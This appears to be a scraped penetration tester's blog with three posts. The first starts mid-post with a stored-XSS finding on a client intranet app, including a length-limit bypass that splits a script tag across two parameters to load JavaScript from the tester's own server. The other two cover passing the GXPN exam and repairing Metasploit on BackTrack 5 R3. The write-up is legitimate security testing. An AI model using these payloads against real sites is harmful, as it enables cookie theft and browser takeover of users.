paramA=<script>alert(1)</script>
paramB=<script>alert(1)</script>

Resulted in a stored code displayed as part of the following HTML code:

 <script type="text/javascript" language="javascript">  
 //irrelevant chunks  
 // ..  
 // ..  
 var paramA = "<script>alert(1)</script>";  
 var paramB = "<script>alert(1)</script>";  

Length Constraint Test:
paramA=111112222233333444445555566666777778888899999
paramB=111112222233333444445555566666777778888899999

Resulted in a stored code displayed as part of the following HTML code snippet:

 var paramA = "1111122222333334444455555666667";  
 var paramB = "1111122222333334444455555666667";  

You should observe on the above snippet that any character after the 32nd will be cut off! Drats.
But not all is lost. There are a few ways you could approach this but here's what I did:
1. Use the good O' <SCRIPT src="//yoururl.com/malicious.js">
2. Use "*/" and "/*" to concatenate your payload
3. Since it's only intranet accessible, I fire up an IIS 7.5 on my test machine and serve up a javascript under the name "index.html". Yes, it works perfectly. ;) So you could do <script src="http://webserver_ip/"> and your javascript will execute nicely even if it's not saved as a '.js' extension. Nifty to know.

My solution:
paramA=</script><script%20/*
paramB="*/src="http://172.10.10.1/">

22 characters for paramA - safe!
30 characters for param B - safe!

I would use a shorter IP address (e.g. 10.0.0.2) but the 172.10.10.x is the subnet I'm attacking on. I have to stick to the /24 subnet but I did to change my javascript-serving webserver's IP from 172.10.10.100 to a single digit for the LSB octat (e.g. 172.10.10.1). Warning: Make sure you don't collide with your client's machine IP addresses.

Javascript Payload:
1. Just put your javascript code inside the 'index.html'
2. I did a simple alert("This is a javascript code execution for proof-of-concept..blah blah blah") to make my point. It could be anything from cookie stealing to BeEF's machine takeover =D
3. Save it as 'index.html'. If you're using IIS 7.5, put it in your X:\inetpub\wwwroot\ directory.

Resulting in:

 var paramA = "</SCRIPT><SCRIPT /*";  
 var paramB = ""*/src="http://172.10.10.1/">";  

And BOOM. ;)

Yea, many have done it and I've read a few posts on that. Still, it's different to personally encounter a live system which puts you in the spot to work around with the constraints. In short, I spent quite a number of hours due to my own n00bness, but managed to achieve a working XSS. Hopefully, my client is convinced to get it fixed. All in all, a simple but interesting encounter.

Laters y'all~

Regards,
JS.

Reference:
1. http://beefproject.com/‎ - The Browser Exploitation Framework Project

GXPN - getz!

After the many weeks of crazy after-office hours and weekends, I've finally went for the first attempt and passed the GIAC GXPN http://www.giac.org/certification/exploit-researcher-advanced-penetration-tester-gxpn . It's quite a challenge and probably the hardest examination I've ever took since my computer engineering degree days. For me, I attended Stephen Sim's class (SANS SEC660) and it was the best EVAR. Although things get pretty hairy after day 3, it's totally worth it. And I'm thankful for my company who sponsored the hefty amount. If you're into security, it's like attending a rock concert and get wow-ed at every juncture of the course.

If you decide, however, not to attend SANS SEC660 and do a GIAC attempt, you could do so too. Some tips on preparation can be found @ iPostive's blog: http://ipositivesecurity.blogspot.sg/2012/08/passed-giac-gxpn-exam.html

Btw, GXPN is a 3-hour open book examination and you're allowed to use the course materials. Open-book examinations are usually tougher and kinda applies in this case too. For those who have signed up or intend to attempt the GIAC GXPN in the near future, I've made an index for a quick-flip (trust me - you'll probably need it) and a "time reference" table to help keep track of time since you can only skip 5 questions. http://pastebin.com/wwPVMiqc

Some ways to use it:

1. Use word or some open source office tools to split the page to 3 columns

2. Cut and paste the contents from the pastebin.com link http://pastebin.com/wwPVMiqc

3. Shrink the margin or font to your preference to fit to the number of pages (mine is a 2-page index)

4. You could add/remove more keywords/phrases/toolnames into the index to make it better for your own use.

So what's with the page?

If it says for e.g. Tool X 4.125 - it means Book 4, page 125.

If you want to know how GIAC GXPN is like, you could also goto http://www.pwnag3.com/2012/10/gxpn-review.html to read his/her review.

So what do the candidate need to prepare:

Try this link: http://www.giac.org/certification/exploit-researcher-advanced-penetration-tester-gxpn

Some tips that helped me:

1. Do the TWO practice exams - they are a good indicator. I got 60% without any book reference. Got a 77% for 2nd practice. And final got a 78%. (Not great, but i'm thankful I've passed. I wished I studied more.)

2. You have to know your basics (nmap, cain rdp mitm, lsa, etc). They are not found in GXPN coursewares and I suspect they are from the SEC560 coursewares. Not too sure about that.

3. You have to know your stuffs really well. Reading is NOT good enough - you'll need to set up your lab environment and spend time working. There's really no shortcut to this - you can't braindump bruteforce your way through this exam.

NOW I AM A FREE BIRD =D Gonna go celebrate a little before returning to my side projects ;)

To the GXPN attempters: Good luck folks!

J.S out.

Fix your BTR3 4.5.0 Metasploit After Update Guide

After Kali went official, BTR3 was kinda abandoned and I got to see alot of pissed off people online looking to fix their Backtrack 5 R3's metasploit. Due to work's requirement, I start scouring for help all over the interwebs and found a few useful instructions. Here's a post to summarize and consolidate all the help I've gotten by nice folks on the internet. Hope this step-by-step guide will un-break your metasploit on your BTR3. It'll not take more than 15mins. Have fun!

Main idea: Upgrade your BT's Ruby from 1.9.2 to 1.9.3

Error: You may have encountered the error when trying to get Factory Girl 4.2.0 to work while perform 'bundle install' as requested by sir Metasploit himself. 

Summary of fix:

- Install 1.9.3

- Fresh install of metasploit using 'git clone' (avoid the SVN version from now on)

- And as usual, link and unbreak stuffs.

Limitation of fix:

Bad news, BTR3 doesn’t have Ruby1.9.3 in the repository so RVM is being used to install the version.

Need to do ‘/bin/bash –login’ whenever ./msfconsole is to be used.

Steps to retrieve the working version of metasploit

1. # cd /opt/

2. # rm -rf metasploit

3. # git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit

Let's open a new tab by pressing ctrl-shift-t.

Steps to install Ruby 1.9.3

1. # bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)

2. # source /etc/profile.d/rvm.sh

3. # rvm -v

Let's fix up some libraries we need:

4. # package in zlib openssl libxslt libxml2; do rvm pkg install $package; done

5. # rvm install 1.9.3

You'll get error saying you need certain dependencies. 

6. # apt-get install <dependency 1> <dependency 2> ...

And of course, libssl-dev will still be screwed coz' current repository doesn't contain the right one. Let's add one to our /etc/apt/sources.list

7. # echo >> deb http://security.ubuntu.com/ubuntu lucid-security main /etc/apt/sources.list

8. # apt-get install libssl-dev 

Let's proceed to install our dear ruby 1.9.3 runtime:

9. # rvm install 1.9.3

So done? Let's switched to it. Current version will be 1.9.2-dev, so we gotta use our new shiny ruby 1.9.3.

10. # rvm 1.9.3 --default 

You'll see an error. So you'll need to do a login shell coz the current one just won't do.

11. # /bin/bash --login

12. # rvm 1.9.3 --default

13. # ruby -v

Now we have our 1.9.3. But something's still broken (yes of course, of course). Let's fix the pg.

14. # apt-get install libpq-dev

15. # gem install pg

Ok. Final moment of truth, let's proceed to the metasploit folder now!

16. # cd /opt/metasploit

17. # bundle install

*DEEP BREATH* Yes. Factory Girl 4.2.0 will install properly with Ruby 1.9.3 ;) And yes, you will be able to ./msfconsole

Long load time for ./msfconsole without any error means good news.

Congratulations! (and ba*ls to backtrack for not automating the update.)

References & Acknowledgements:

http://guides.dradisframework.org/install_on_backtrack.html

https://community.rapid7.com/thread/3207